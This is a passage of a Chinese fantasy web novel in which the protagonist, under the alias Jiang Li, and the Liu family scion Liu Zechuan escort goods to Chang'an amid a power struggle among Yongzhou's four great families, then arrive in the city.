待侍女退下,柳玉容端起茶杯,却没有喝,只是指尖轻轻摩挲着杯沿,目光在两人脸上转了一圈,语气比刚才郑重了些:“今日请二位来,除了想当面谢过姜离先生,还有件正事要跟你们说——咱们就不绕圈子了,直接说正题吧。” 柳泽川脸上的笑意顿时收了收,坐直了身子,张玉汝也微微抬眼,看向柳玉容,等着她往下说。 柳玉容放下茶杯,声音清晰地传来:“家族近期要往长安城送一批货物,这批货物颇为重要,路上恐有异兽袭扰,或是其他势力觊觎。我思量着,泽川你熟悉家族事务,姜离先生战力出众,又擅长带队,想让你们二人一同带队前往。” 她顿了顿,又补充道,“除此之外,货物送到长安后,你们还需在那边驻扎一段时间——柳家在长安刚盘下了两家药材铺,眼下缺可靠的人盯着,你们去了,也能帮着照看照看,保护好家族在长安的产业。” 这话一出,柳泽川先是一愣,随即眼底闪过一丝惊喜——长安是雍州首府,比云溪镇繁华得多,能去长安驻扎,不仅是个美差,更是家族看重他的表现。 他连忙看向张玉汝,似乎想从他脸上看出些什么,又转头对柳玉容躬身:“全凭家主安排!泽川定不辱命!” 张玉汝心里则泛起了波澜——长安城?柳家突然往长安送重要货物,还要在那边驻扎保护产业?这背后会不会和他追查的人体实验、新型药剂有关? 他面上却不动声色,只是微微颔首,语气依旧沉稳:“既然是家主吩咐,姜离自当遵从。只是不知,这批货物何时出发?路上大约需要多少时日?” 他有意表现出一副“尽职尽责”的模样,既不显得过分热情,也没有丝毫推脱,完全符合一个“外来护卫”该有的态度。 柳泽川和张玉汝一口应下任务后,柳玉容紧绷的肩线明显放松了些,眼角的锐利也淡了几分,端起茶杯抿了一口,语气也随意起来:“你们能接下就好,路上的物资和护卫调配,我会让人尽快跟你们对接。” 她又随口问了几句护卫队的日常训练,柳泽川一一应答,张玉汝则在一旁偶尔补充两句,大多是关于“协同御敌”的细节,刻意维持着“姜离”这个身份该有的沉稳与低调。 这般融洽的交流没持续太久,柳玉容便抬手看了眼腕上的玉镯——那镯子是暖白色的羊脂玉,上面雕着缠枝纹,随着她的动作轻轻晃动,“时候不早了,我下午还要见几位药材商,就不多留你们了。” 柳泽川立刻起身,姿态恭敬:“家主事务繁忙,我们就不打扰了。” 张玉汝也跟着站起身,微微颔首,两人一前一后跟着侍女走出青藤院,坐上了回程的马车。 刚一上车,柳泽川脸上的恭敬便褪去大半,取而代之的是难掩的兴奋,他拍着张玉汝的肩膀,语气里满是赞叹:“先生你是没看到,家主今天对咱们多客气!还特意给咱们派长安的差事,这可是天大的看重啊!” 他说着,又压低声音,带着几分得意,“你不知道,之前家族里多少人盯着长安的差事呢,最后落到咱们头上,可见家主有多认可咱们!” 他越说越起劲,从柳玉容的“识大体”夸到她的“顾全家族”,言语间满是近乎谄媚的讨好,连带着之前对柳玉容的那点畏惧,都像是被兴奋冲散了。 张玉汝坐在一旁,手里摩挲着茶杯的杯沿,只是偶尔“嗯”一声应和,心里却没什么波澜——这段时间相处下来,他早就摸清了柳泽川的性子,现在的这种表现并没有超出他的预料。 马车很快到了柳泽川的宅邸门口,柳泽川先下了车,转身对张玉汝笑道:“先生,咱们这趟去长安,路上的路线、护卫的分工都得好好盘算盘算,不如到我府里坐坐,咱们详细聊聊?” 这个理由合情合理,毕竟是共同带队的任务,商讨细节本就是分内之事。 张玉汝没有拒绝的道理,便跟着柳泽川下了马车,走进了他的宅邸。柳泽川的府邸比张玉汝住的小院阔气不少,院里种着不少名贵的盆栽,走廊两侧挂着字画,处处透着嫡系子弟的气派。 两人穿过前院,绕过回廊,最终停在一间不起眼的偏房门口——柳泽川推开房门,里面是间不大的密室,墙壁是加固过的青石,桌上摆着一张地图,角落里燃着一小炉熏香,显然是用来谈事的地方。 刚关上房门,柳泽川脸上那股兴奋的笑意便瞬间消失得无影无踪,像是被人用手一把抹去。他快步走到桌边坐下,重重地拍了下桌子,脸色阴沉得能滴出水来,咬牙切齿地说道:“这女人!分明是见不得我们这些嫡系血脉有出头的机会!” 张玉汝站在原地,看着他骤然变脸的模样,心里暗自点头——这才对,这才是他认识的那个柳泽川。 之前在马车上那副谄媚讨好的样子,不过是他在“家主”面前的伪装,此刻没了外人,骨子里对柳玉容的不满和怨气,立刻就暴露了出来。 柳泽川还在愤愤不平地低声咒骂:“什么看重!我看她就是想把我支开!云溪镇这边刚做出点成绩,她就急着把我派去长安,分明是怕我在这边站稳脚跟,碍了她的事!” 他越说越激动,手指紧紧攥着桌角,指节泛白,“还有那些旁支的人,现在一个个都围着她转,真当我们嫡系好欺负不成!” 张玉汝看着他这副气急败坏的模样,心里彻底放下了之前那点微不足道的疑虑——若是柳泽川还像在马车上那样谄媚,他倒要怀疑是不是被人夺舍控制了。 如今这副又怒又怨的真实模样,反而让他松了口气。 他缓步走到桌边坐下,拿起桌上的茶壶,给柳泽川倒了杯茶,语气平静地开口:“柳先生消消气,或许家主真的只是看重你,才把长安的差事交给你呢?” 听了张玉汝的话,柳泽川端起茶杯抿了一口,却没尝出半分茶香,只重重叹了口气,眉宇间的烦躁又深了几分:“姜兄,你是外来人,不清楚这里面的门道。长安城的确是雍州最繁华的地方,街上的商铺能从街头排到街尾,来往的商队驮着的都是稀有的药材和异兽材料,可那地方的水,深得能淹死人啊!” “长安是长安,雍州是雍州,在雍州吃得开的势力到了长安就未必了。” 他放下茶杯,手指在桌上无意识地敲着,语气里满是无奈:“城里头不光有咱们柳家、赵家这样的家族势力,还有中央派来的镇守使,更有那些盘踞了几十年的老牌世家。 就拿城东的王家来说,表面上是做护具生意的,暗地里却掌控着半个长安的货物运输通道;还有城西的李家,族里出了好几位大师级能力者,连镇守使都要给他们几分面子。这些人各有各的地盘,各有各的规矩,咱们这些外来的家族,想在里头站稳脚跟,稍不注意就会踩了别人的线。” 说到这儿,柳泽川的声音压得更低了,眼神里也多了几分忌惮:“之前不是没人想去长安闯一闯,咱们家族里的三伯,前两年就带着人去长安开了家药材铺,结果刚开业没三个月,就被人举报‘私藏异化药材’,铺子被查封不说,连带去的护卫都折了两个。” “后来才知道,是动了王家的运输利益,人家故意给下的绊子。还有赵家,去年想在长安设个分舵,结果刚把地方选好,夜里就被人放了把火,连个说理的地方都没有。你说,那地方哪是好去的?” 他顿了顿,手指猛地攥紧,语气里添了几分愤懑:“更何况,最近魏家和咱们柳家的梁子结得正深!上个月在边境的异兽材料交易会上,咱们抢了魏家一笔大单子,他们家的二公子当场就放了话,要让咱们柳家‘好看’。” “魏家原本就是在长安城出来的,他们在那儿的根基比咱们深多了——咱们这一去,明着是送货物、看铺子,暗地里还不知道要遭他们多少算计。说不定货物刚出云溪镇,就有人在半路上等着截胡;就算到了长安,他们也能找借口挑事,到时候咱们孤立无援,怕是真的凶多吉少啊!” 说完,柳泽川又重重叹了口气,靠在椅背上,脸上满是愁容,再没了之前在马车上的兴奋劲儿。 显然,他心里比谁都清楚,这趟长安之行,看似是“重用”,实则更像是一场充满未知风险的“发配”。 张玉汝对此也没什么好说的,他只能表表忠心,顺带宽慰几句对方。 不过柳泽川其实也只需要和张玉汝发几句牢骚罢了,这样的人显然不会喜欢和太过聪明的人打交道,如果张玉汝真的能够给他提出什么有效的建议,他在欣然接受的同时,也一定会提高不少的警惕。 第 21章 出行 柳玉容将长安之行的任务交给张玉汝与柳泽川,那“护送货物、照看产业”的说法,不过是摆上台面的幌子,这种事情有的是人可以做,而且一定比张玉汝和柳泽川更加的专业。 若往深了探,这更像一步埋在雍州四大家族博弈棋局里的暗棋——长安是四大家族利益绞缠的核心,每一步落子都牵扯着势力消长,而柳家派去的这两人,既是棋子,也是柳玉容试探破局的关键。 要弄清这步棋的深意,得先剥开雍州四大家族——赵、魏、秦、柳——那层“各司其职、相安无事”的表象。 四大家族的根基本是“各占一域”:赵家掌“粮与药”,魏家握“武与防”,秦家控“矿与人力”,柳家则靠“药剂”后来居上。 最初因主营业务无直接冲突,彼此间还能维持合作——赵家给柳家供药材,秦家帮柳家运药剂,魏家替赵家的粮队护镖,形成了一套脆弱的平衡。 可随着家族扩张,这份平衡早被悄悄打破,尤其是柳家的异军突起,彻底搅乱了四大家族的排序。 赵家是雍州的“粮袋子”,也是四家里的“老大哥”。他们祖辈传下的耕种技术,加上这些年培育出的“抗异能量小麦”“速生水稻”,能在异能量肆虐的土地上稳定产出粮食,硬生生撑起了雍州的粮食供应。 这年头“民以食为天”,赵家凭这份“粮食霸权”,不仅赚得盆满钵满,还成了各聚居地不敢得罪的存在——谁也不想断了自己的粮路。 后来赵家又拓了异种植物与药材种植,在雍州南部建了数十片恒温恒湿的大棚,专种“青灵草”“紫蕊花”这类对环境挑剔的药材。 柳家做药剂,七成核心原料都来自与赵家合建的药田,这份“药材依赖”,让两家成了表面上最稳固的盟友。 魏家则是雍州的“刀把子”,以安保为业,骨子里带着武力带来的傲气。 小到云溪镇商户的日常巡逻,大到雍州边境聚居地的城墙防御,甚至其他家族的商队护送,几乎都有魏家护卫的影子。 他们还开了护卫培训营,不少小家族的护卫都得送去过历练;族里更有三位宗师级能力者坐镇,明面上是四家里武力最强的存在。 靠着这份“武力优势”,魏家稳坐了多年的“老三”位置,日子过得安稳——直到柳家的药剂卖向了全神州国。 秦家是雍州的“基建骨”,靠采矿发家,手里攥着西部三座大型矿山,产出的铁矿、铜矿是造武器、机械的命脉。 这些年秦家又深耕金属冶炼与机械制造,雍州半数聚居地的防御工事、运输用的重型马车,都出自秦家工坊。 但秦家真正的王牌,是“人力资源”——采矿、冶炼、制造都要大量工人,多年下来,秦家与雍州大小聚居地都搭了线,从矿工、铁匠到有手艺的技工,秦家随时能调动一支数万人的劳动力队伍。 这份“人力掌控力”让秦家根基极稳,连赵家都得让三分——毕竟赵家的粮田也需要秦家造的耕种机械。 而柳家,是四家里最年轻的“闯入者”。 论综合实力,柳家排在末位:没有赵家的粮食霸权,没有魏家的武力威慑,也没有秦家的资源根基。 可论发展潜力,柳家却是四家里最亮眼的——他们靠“药剂”打破了地域限制。 柳家这些年研发的药剂,从基础的疗伤药、能量补充剂,到能抵抗异能量污染的“抗异化药剂”、短暂提升能力的“增幅剂”,性价比远胜其他家族的产品。 更关键的是,柳家没把自己困在雍州——他们借秦家的商队运货,找外地小家族做代理,硬生生把药剂卖到了江南、漠北,甚至遥远的岭南。 这份“跨地域销售能力”,是赵、魏、秦三家想都不敢想的——赵家的粮食运出雍州成本太高,魏家的安保业务离不开本土人脉,秦家的机械太重难转运,唯有柳家的药剂轻便易带,能穿透地域壁垒。 任谁都看得清:柳家现在是第四,可只要药剂渠道继续扩张,赚的钱足够招揽更多能力者、建更多药田,超过魏家只是迟早的事。 这份“崛起威胁”,成了柳家与魏家矛盾的导火索。 魏家本在“老三”的位置上过得安稳,柳家的崛起却让他们坐立难安——柳家赚的钱越多,就能买更多资源、养更强的护卫队,迟早会抢了魏家的饭碗。 可在异兽危机没爆发前,魏家没理由动手:四大家族彼此制衡,赵家与柳家合作很深,而秦家也不愿意看到魏家势力进一步扩大,魏家若贸然打压柳家,只会引火烧身。 直到益州防线告破,局势彻底变了。 从雪域高原冲下来的异兽,顺着益州往雍州蔓延,长安城首当其冲,被大量异兽围攻;雍州其他小城也频频遭袭,各聚居地对“安全”的需求瞬间飙到了顶点。 而这,成了魏家的机会——谁都需要魏家的护卫队守城墙、护商队,谁都不敢在这时候得罪魏家。 魏家要的不只是“赚安保费”,更是借这个机会撕咬利益:他们可以借着“护卫名额紧张”,优先给赵家、秦家的商队护镖,故意拖延柳家的药剂运输;可以在长安散布“柳家药剂应对异兽效果差”的流言,抢柳家的生意。 甚至能以“防异兽需要集中资源”为由,向柳家索要更多“协作费”——若是柳家不配合,他们就敢说“柳家不重视雍州安危”,扣上顶大帽子。 魏家的算盘很精:只要在这段时间抢够利益,不仅能抵消柳家的崛起优势,甚至能借“护雍州有功”的名头,拉拢秦家,反过来压过赵家,成为四大家族之首。 而对柳家的全方位打压,就是这盘棋的第一步。 柳玉容自然看清了魏家的算计。 她派张玉汝与柳泽川去长安,哪是“护送货物、照看产业”那么简单? 长安是魏家的老巢,也是柳家药剂在雍州的核心销售点——柳家在长安的两家药材铺,表面卖药,实则是收集魏家动向、联络其他势力的据点。 让两人去,一来是让张玉汝护住药材铺,别被魏家找茬端了;二来是让柳泽川以“嫡系子弟”的身份,去跟赵家在长安的分号搭线,巩固药材供应——毕竟赵家也不愿见魏家独大,只要柳家给够好处,赵家会愿意帮着牵制魏家。 三来,张玉汝战力强、心思细,柳玉容能够看得出来此人并不简单,她想借长安的乱局,看看此人的本事,并思考能否收服为自己所用。 至于柳泽川,柳玉容也有自己的考量:柳泽川是嫡系,派他去长安,既能安抚柳家嫡系,又能把他调离云溪镇——柳泽川此人志大才疏,若是让他继续立功接触到云溪镇的更多权力未必是一件好事。 当然了,这些只是柳玉容对于柳泽川和张玉汝表面上的安排,实际上张玉汝和柳泽川还有一层吸引火力的作用。 柳玉容很清楚柳家嫡系对于她的态度,她也不会傻到以为柳泽川就真的会对她心服口服。 在暗地里,柳玉容另外还有其他的安排,那才是她真正的心腹。 张玉汝与柳泽川的长安之行,便在雍州四大家族暗潮汹涌的博弈背景下,悄然提上了日程。 离出发还有三日时,两人便开始忙着与柳家各部门交接事务:从护卫队的排班记录,到货物清单的核对,再到长安那边药材铺的基础资料,桩桩件件都需梳理清楚,容不得半分差错。 交接护卫队事务时,柳泽川却犯了“执拗”——他拿着护卫名单翻来覆去地看,最终圈出了二十个名字,都是这段时间在他防区里表现最亮眼的护卫,也是张玉汝亲手带过、练过“协同御敌”战术的人。 负责接手护卫队的柳家长辈劝他:“泽川,这些人都是防区的骨干,你全带走了,这边的防卫怎么办?留下几个,我给你补些新人过去。” 柳泽川却头也不抬地把名单叠好,塞进怀里,语气带着几分不容置喙:“长辈放心,防区剩下的人,照着姜先生教的法子练,撑一阵子没问题。这些人是我看着成长起来的,本事过硬,我带去长安,也能多份保障。” 他心里打得算盘清楚:这些护卫经张玉汝调教后,无论是单体战力还是团队配合,都比普通护卫强上一截,如今云溪镇里,不少旁支都盯着这些“好苗子”,想挖去充实自己的势力。 与其留在这儿被人抢走,不如自己带到长安——一来能壮大自己的队伍,二来这些人念着他的提拔之恩,往后在长安也能更听他的调遣,算是为自己攒下了根基。 那些被选中的护卫,听说要跟着柳泽川和“姜离”去长安,一个个都按捺不住兴奋。私下里聚在护卫队的院子里议论时,有人拍着胸脯说:“早就听说长安城比云溪镇大十倍,街上全是高楼,连异兽材料铺都比咱们这儿的气派!” 还有人搓着手盘算:“到了长安,要是能在柳家的药材铺里谋个差事,可比在这儿天天巡逻强多了——听说长安的工钱,比云溪镇高五成呢!” 更有年轻些的护卫,满眼都是憧憬:“说不定还能见到其他州府来的人,听听外面的新鲜事,总比困在云溪镇强。” 连平日里最沉稳的护卫队长,都忍不住跟张玉汝打听:“姜先生,咱们去长安,要是遇上异兽袭扰,还是用您教的‘三角阵’应对吗?” 相比柳泽川的“攒势力”和护卫们的“盼前程”,张玉汝的准备要简单得多——他只收拾了两件换洗衣物,把常用的一些器具装到了一个随身行囊当中,又将几瓶应急的疗伤药剂塞进包袱,最后却在小院里站了许久,目光落在正在练习凝结冰霜的小雪身上。 小雪刚练完一套剑招,见张玉汝盯着自己,便收了冰霜长剑,蹦蹦跳跳地跑过来:“姜大哥,你在看什么呀?是不是我刚才的动作不对?” 张玉汝蹲下身,抬手拂去她发梢上的冰屑,语气比往常柔和些:“动作没错,练得很好。小雪,这次去长安,我带你一起走,好不好?” 小雪愣了一下,随即眼睛亮了起来:“真的吗?我也能去长安城?” “嗯,”张玉汝点头,指尖轻轻捏了捏她的肩膀,“云溪镇这边,我暂时放心不下你。跟着我去长安,我能照应你,也能继续教你练能力。” 他没说出口的是,柳家的秘密还没查清,云溪镇看似平静,实则藏着未知的风险;魏家与柳家的矛盾已经激化,谁也说不准会不会有人拿柳家身边的人开刀。 把小雪留在云溪镇,无论是交给柳家的人,还是让她独自留在小院,他都不放心——比起将这份安危托付给别人,他更相信自己的能力,哪怕前路有风险,带着小雪在身边,至少能护她周全。 小雪哪里懂这些深层的考量,只知道能跟着最信任的“姜大哥”去传说中的长安城,当即高兴得跳了起来,抱着张玉汝的胳膊晃了晃:“太好了!我这就去收拾东西!我要把我的东西也带上!” 看着她跑回屋的欢快背影,张玉汝紧绷的嘴角微微松动了些。 出发那天清晨,云溪镇的城门刚打开,一支由数十人组成的队伍便缓缓驶出——柳泽川骑着一匹枣红色的马走在最前面,身后是二十名精神抖擞的护卫,张玉汝牵着小雪的手,走在队伍中间,目光警惕地扫过城门两侧的动静。 马车里装着柳家要送的货物,被厚重的油布盖得严严实实,只在角落留了透气的缝隙。 车轮碾过青石板路,发出“轱辘轱辘”的声响,朝着长安城的方向驶去,也朝着那片交织着利益、风险与秘密的漩涡,缓缓靠近。 第22章 长安 从云溪镇出发往长安去的这一路,竟比张玉汝和柳泽川预想的要顺畅太多,甚至顺畅得有些出乎意料。 出发前两人心里都敲着鼓——毕竟魏家在雍州势力盘根错节,又正盯着柳家的动向,谁都没指望能顺顺利利抵达长安。 出发前,两人心里都是有数的——魏家既已打定主意打压柳家,没理由放任他们带着重要货物安稳抵达长安。 柳泽川甚至提前跟护卫们反复演练过遇袭时的应对:若遇上小股劫匪,便由护卫队前排三人组举盾迎击,后排用弓弩掩护;若遇上魏家派来的人故意找茬,便先以“家族事务”为由周旋,实在不行再动手,尽量不把事情闹大。 连遇到大规模异兽潮该如何突围、如何保护货物,都在出发前规划了三种方案。 张玉汝也悄悄调整了状态,将「造化之眼」的感知范围扩大了半里地,时刻留意着沿途的风吹草动,连路边灌木丛的异常晃动、空气中异能量的细微波动,都没放过。 可事实却是,这一路除了荒野上零星游荡的异兽,几乎没遇到任何人为阻碍。 那些异兽大多是之前围攻长安城时被打散的“散兵游勇”——有的是皮毛被烧焦大半的“焰尾狐”,拖着受伤的后腿在枯草丛里打转,连释放火焰的力气都没有;有的是甲壳被击碎一块的“岩甲兽”,趴在路边啃食枯草,见他们的队伍路过,也只抬了抬眼皮,连起身攻击的欲望都没有。 还有几头“风翼鸟”,翅膀被撕裂了口子,只能低空盘旋,护卫队里两个擅长弓箭的年轻人搭箭拉弦,没费多少力气就将它们射落。 每次遇上这些异兽,都轮不到张玉汝出手——经过他训练的护卫们早已形成了默契:前排两人举着镶嵌了铁片的木盾上前牵制,侧边两人绕到异兽身后,用淬了“麻痹药剂”的短刀刺向要害,最后则是还有人做好随时应对突发情况的准备。 一般情况下,在遇到那些普通的异兽时,往往三五分钟就能解决战斗,护卫们连轻伤都没受,最多只是盾牌上多了几道抓痕,或是短刀上沾了些异兽的血。 队伍走了五天,离长安城的管辖范围越来越近,柳泽川心里的疑惑也越来越重。 直到踏上长安城管辖的土地,看到路边立着的“长安界”石碑时,柳泽川还没回过神来。 他勒住马缰绳,低头看着石碑上的刻字,不由得喃喃自语:“难道是我之前倒霉的时候攒够了运气,全用在这路上了?” 他这话没说给别人听,却带着几分自己都没察觉的忧虑。 若是换作旁人,遇到这般顺利的行程,早该松口气了,可柳泽川却半点欣喜都没有——他这人素来有些迷信“运气守恒”,总觉得人这辈子的运气就那么多,若是前面太顺,后面必然要遭些磨难。 在他看来,路上遇到些小麻烦反而踏实,至少能让人提前绷紧神经;可眼下这种顺风顺水,倒像是暴风雨来临前的宁静,谁也说不准后面等着他们的是什么更大的麻烦。 他皱着眉,脸上非但没有丝毫“走好运”的欣喜,反而多了几分焦虑。 旁边的护卫队长见他神色不对,忍不住问:“公子,咱们一路顺顺利利的,您怎么还愁眉苦脸的?” 柳泽川叹了口气,勒住马停下来,回头对众人说:“你们不觉得太顺了吗?魏家那群人,怎么可能眼睁睁看着咱们把货送到长安?按他们的性子,就算不半路截胡,至少也得派几个人来刁难刁难,比如检查货物、索要‘过路费’什么的,可现在呢?连个人影都没见着!” 他顿了顿,手指无意识地摩挲着腰间的玉佩,语气里带着几分笃定:“我娘以前跟我说过,‘运气这东西是守恒的’,你这阵子走了太多好运,接下来就该遇到麻烦了。咱们这一路顺风顺水,看着是好事,可保不齐是‘暴风雨前的宁静’——魏家说不定是在憋大招,等咱们到了长安,或者快到长安的时候,再给咱们来个措手不及!” 这话一出,护卫们脸上的轻松也淡了几分,纷纷点头附和——他们也觉得这一路太顺利了,顺利得有些不真实。 说话间,前方出现了一块刻着“长安地界”的石碑,石碑旁站着两个穿着灰色制服的守卫,见他们的队伍过来,便上前例行检查。 柳泽川深吸一口气,整理了一下锦袍,催马上前——不管接下来有什么麻烦,至少他们已经踏入了长安的管辖范围。 相较于柳泽川一路上的患得患失、思绪翻腾,张玉汝倒显得格外平静,没有太多复杂的内心戏。 他虽也觉得这一路的顺畅有些反常——魏家的沉默实在不合常理,毕竟对方既然打定主意打压柳家,没理由放任他们带着货物安稳靠近长安——但他向来秉持“既来之则安之”的心态,并未因此焦躁。 马车行驶在平坦的官道上,车轮碾过碎石发出规律的声响,张玉汝靠在车厢内壁,指尖轻轻搭在膝上,看似在闭目养神,实则五感始终紧绷。 他能清晰听到护卫们的脚步声、马匹的鼻息声,甚至能捕捉到远处荒野上异兽的低吼声。 这份淡定并非故作镇定,而是源于他对自身能力的底气——无论前方藏着什么,他总有应对的办法。 不过,淡定不代表松懈。 察觉到周遭的平静透着几分诡异后,张玉汝趁着柳泽川掀开车帘查看路况的间隙,悄悄运转体内能量。 几缕淡青色的能量从他指尖溢出,在车厢角落悄然凝聚,很快化作三个与他模样相似、却略显透明的分身。 这些分身没有实体,气息也被压缩到极致,在其他方面的战力几乎可以忽略不计,但在潜行与移动上却有着极强的优势——它们能像影子般融入周遭环境,哪怕在开阔的荒野上,也能借着枯草、岩石的掩护快速移动,且不易被普通能力者察觉。 分身成形后,悄无声息地从车厢缝隙钻了出去,一个朝着队伍前方探路,另外两个则分别向左右两侧的荒野扩散,将侦测范围从原本的半里地,扩大到了将近一里。 张玉汝通过分身的感知,能清晰“看到”前方官道的路况:路面平整,没有被人为破坏的痕迹;两侧的荒野里,除了几头零散的受伤异兽,没有发现隐藏的人影,也没有感知到异常的能量波动——既没有埋伏者气息的压迫感,也没有能量陷阱的微弱反应。 确认暂时没有隐藏的敌人后,张玉汝才稍稍放松了些,收回了部分分散的注意力,重新靠在车厢上,恢复了闭目养神的模样。 这一切细微的动作,都被坐在对面的柳泽川看在眼里——他只看到张玉汝指尖闪过一丝极淡的光晕,随即又恢复如常,并未察觉分身的存在。 柳泽川看着张玉汝始终平静的侧脸,眼底满是钦佩,心里忍不住感慨:“姜兄果然是有大气魄的人!换做是我,早就因为这反常的平静坐立难安了,可他倒好,还能如此镇定地养神,这份心性,真是比我强太多了!” 他忍不住开口,语气里带着几分赞叹:“姜兄,你就不觉得这一路太顺利了吗?我总觉得心里不踏实,可看你这般平静,倒让我安心了些。” 张玉汝缓缓睁开眼,目光落在柳泽川脸上,语气依旧沉稳:“担心也无济于事。魏家若真要动手,迟早会露出马脚;咱们现在能做的,就是做好准备,等他们出招便是。与其胡思乱想,不如养足精神,应对接下来可能出现的麻烦。” 柳泽川听着,连连点头:“姜兄说得是!是我太急躁了。有你在,我心里也有底了。” 他说着,也学着张玉汝的样子靠在车厢上,试图让自己平静下来,可脑子里还是忍不住盘旋着“魏家会何时动手”的念头,远没有张玉汝那般从容。 队伍沿着官道继续前行,风里渐渐多了些烟火气——不再是荒野的枯草味,而是混着木炭、粮食与金属锻造的气息。 忽然,走在最前面的护卫发出一声低呼:“看!是长安城!” 众人闻声抬头,目光齐刷刷投向远方——二十公里外的地平线上,一座雄伟的城池正拔地而起。 城墙是用深灰色的巨石砌成,高得几乎要刺破云层,墙面上布满了抵御异兽的凸棱与箭垛,远远望去,像一条蛰伏的巨龙,将整座城牢牢护在怀中。 城头上隐约能看到飘扬的旗帜,旗帜上绣着雍州镇守使的“镇岳纹”,在风里舒展着,透着一股威严的气势。 连城门前延伸出的官道,都比沿途的路面宽了三倍不止,此刻正有商队、行人往来穿梭,像一条条细小的溪流,朝着城池汇聚。 张玉汝也微微眯起眼,目光落在那座城上。 他曾去过豫州的洛阳城——同样是上古名城,洛阳城的城墙古朴而又雅致,带着几分中原大地的气息;可长安城的城墙,却满是西北大地的雄浑,每一块巨石都透着厚重感,仿佛历经千年风雨,依旧坚不可摧。 单论规模来看,长安城显然比洛阳城更宏大,城墙绵延的长度望不到尽头,连城楼上的瞭望塔,都比洛阳城的高出半截。 这倒也不难理解。 豫州地界多平原,可供筑城的土地分散,开封府、洛阳城、南阳府各占一隅,彼此牵制,每个聚居地的规模都不小,却难有“独大”之势。 可雍州不同,大部分土地要么是戈壁,要么是被异能量污染的荒原,唯有长安城所在的关中平原,土地肥沃、水源充足,成了雍州最核心的聚居地,几乎所有资源、人口都向这里集中,规模自然远超雍州其他地方。 张玉汝也是第一次亲眼见到长安城,此刻才真正明白雍州那句“雍州是雍州,长安是长安”的说法——这座城早已不是“雍州的一座城”,而是雍州的“心脏”,是无数人趋之若鹜的地方。 无论是之前心里藏着多少疑虑,在看到这座城的那一刻,所有人的心头都被期待填满了。 柳泽川勒住马,身体微微前倾,眼睛亮得惊人。 他望着长安城的方向,手指不自觉地攥紧了缰绳,嘴里喃喃着:“终于到了……等把货物交了,我就去见赵家在长安的分舵主,再把药材铺的生意理顺,说不定还能招揽几个厉害的能力者……” 他畅想着自己在长安大展拳脚的模样——靠着柳家的资源,再凭着自己的嫡系身份,说不定能在长安闯出一番名头,到时候就算柳玉容想再拿捏他,也得掂量掂量。 身后的护卫们也炸开了锅,压低声音议论着:“听说长安的‘醉仙楼’里,不仅有西域来的葡萄酒,还有能歌善舞的美人!” “我听我叔说,长安的工钱高,要是能在魏家或者柳家的长安分舵站稳脚跟,以后就能把家人接来!” “可不是嘛!说不定咱们还能跟着公子立点功,到时候封个小头目,也算是有头有脸的人了!” 每个人的脸上都带着憧憬,眼里闪着对功名利禄的渴望。 小雪的脸上则满是好奇。 她之前听张玉汝讲过历史故事,对那些古老的建筑充满向往,她想看看那些只存在于想象中的景象。 张玉汝低头看了眼小雪亮晶晶的眼睛,轻轻拍了拍她的手背,目光又重新落回长安城上。 其实,柳泽川畅想的权势、护卫们惦记的名利、小雪好奇的风景,他不是没想过——谁不想在这样的大城里安稳生活? 可这些念头,在他心里只停留了一瞬,便被更重要的想法取代了。 他想起柳家那些异常的植物,想起那尚未找到证据的人体实验,想起新型药剂背后的秘密——对他来说,这趟长安之行,最期待的不是城里的繁华,而是能在这里找到追查已久的答案,揭开柳家隐藏的那些东西。 队伍继续前行,离长安城越来越近,城墙上的细节也愈发清晰——能看到守卫在城门口的士兵,穿着统一的银色盔甲,手里握着镶嵌了能量晶石的长枪;能看到进城的商队,马车上堆着鼓鼓囊囊的货物,上面盖着各家的商号印记;甚至能听到远处传来的吆喝声、马蹄声,混在一起,成了长安城独有的“演奏”。 柳泽川深吸一口气,催马向前:“走!咱们进城!” 第 23章 视野 古诗有云:“不识庐山真面目,只缘身在此山中。” 这话道尽了视野与距离的微妙关系——人的目光终究有限,许多景致往往只适合远观。 站在山巅时,能将群峰连绵、云雾缭绕的全貌尽收眼底,生出“一览众山小”的壮阔感;可若真钻进山中,目之所及只剩眼前的草木、脚下的石阶,反倒难再体会那份整体的磅礴。 这像是世间通用的规律,大到名山大川,小到庭院景致,多是“距离产生美”。 隔着一段距离时,能忽略细节的瑕疵,只沉醉于整体的意境:比如远看烟雨朦胧的江南水乡,只觉是水墨丹青般的温柔;可凑近了,或许会看见墙角的霉斑、河面的浮尘,那份初见的惊艳便淡了几分。 就连人与人之间的相处,有时也需保持分寸——过远则生疏,过近则易见彼此的棱角,反不如适度距离时那般融洽。 可这份规律,在长安城面前,却彻底失效了。 先前在二十公里外远眺时,张玉汝一行人只觉长安城如巨龙蛰伏,厚重的城墙透着压得住天地的气魄,那是一种一眼望去便心生肃穆的庄严。 可当他们跟着人流靠近城门,随着熙攘的人群踏入城内时,那份震撼不仅没有因距离拉近而消散,反倒像被投入水中的墨滴,在心底缓缓晕开,变得愈发浓烈。 城外所见,不过是长安城的“外壳”——那道横亘天地的城墙,是它抵御风险的屏障。 可踏入城内,才算是真正触到了这座城的“筋骨”:眼前的街道宽得能容八辆马车并行,路面是用平整的青石板铺就,缝隙里连杂草都少见。 街道两侧的建筑多是三层高的阁楼,木质的梁柱上雕刻着繁复的花纹,有的是象征吉祥的云纹,有的是描绘异兽的浮雕,屋檐下挂着的灯笼上,印着各家商号的名字——“赵家粮行”“秦家工坊”“魏家护卫局”,一个个招牌在阳光下格外醒目。 更令人惊叹的是街上的景象:穿着短打的挑夫扛着货物快步走过,腰间的汗巾随风飘动。 穿着锦袍的商人站在店铺门口,与客人低声交谈,手指间夹着的折扇时不时开合;还有穿着盔甲的士兵,手持长枪在街角巡逻,目光锐利地扫视着来往人群,却并不显得凶悍,反而透着一种让人心安的秩序感。 甚至连空气中的气息,都比城外丰富——有粮食的麦香、药材的清香、金属锻造的铁锈味,还有街边小贩叫卖的糖糕甜香,混杂在一起,成了长安城独有的“烟火气”,既热闹又不杂乱,既繁华又不失规整。 小雪紧紧攥着张玉汝的手,眼睛瞪得圆圆的,一会儿指着阁楼屋檐上的雕花惊呼,一会儿又被街边卖糖人的小贩吸引,小嘴不停地问:“姜大哥,你看那个龙!雕得好像真的呀!” “那个糖人做的好精巧,怎么会有小兔子形状的?” 柳泽川也收起了之前的焦虑,目光扫过街边的商号,嘴角忍不住上扬——光是这街道的规模、商铺的密集程度,就比云溪镇强上数十倍,他仿佛已经看到自己在这里拓展业务、招揽人才的模样。 护卫们更是看得挪不开眼,不时对着街边的建筑、行人小声议论,眼里满是新奇与向往。 张玉汝也放慢了脚步,目光掠过眼前的一切。 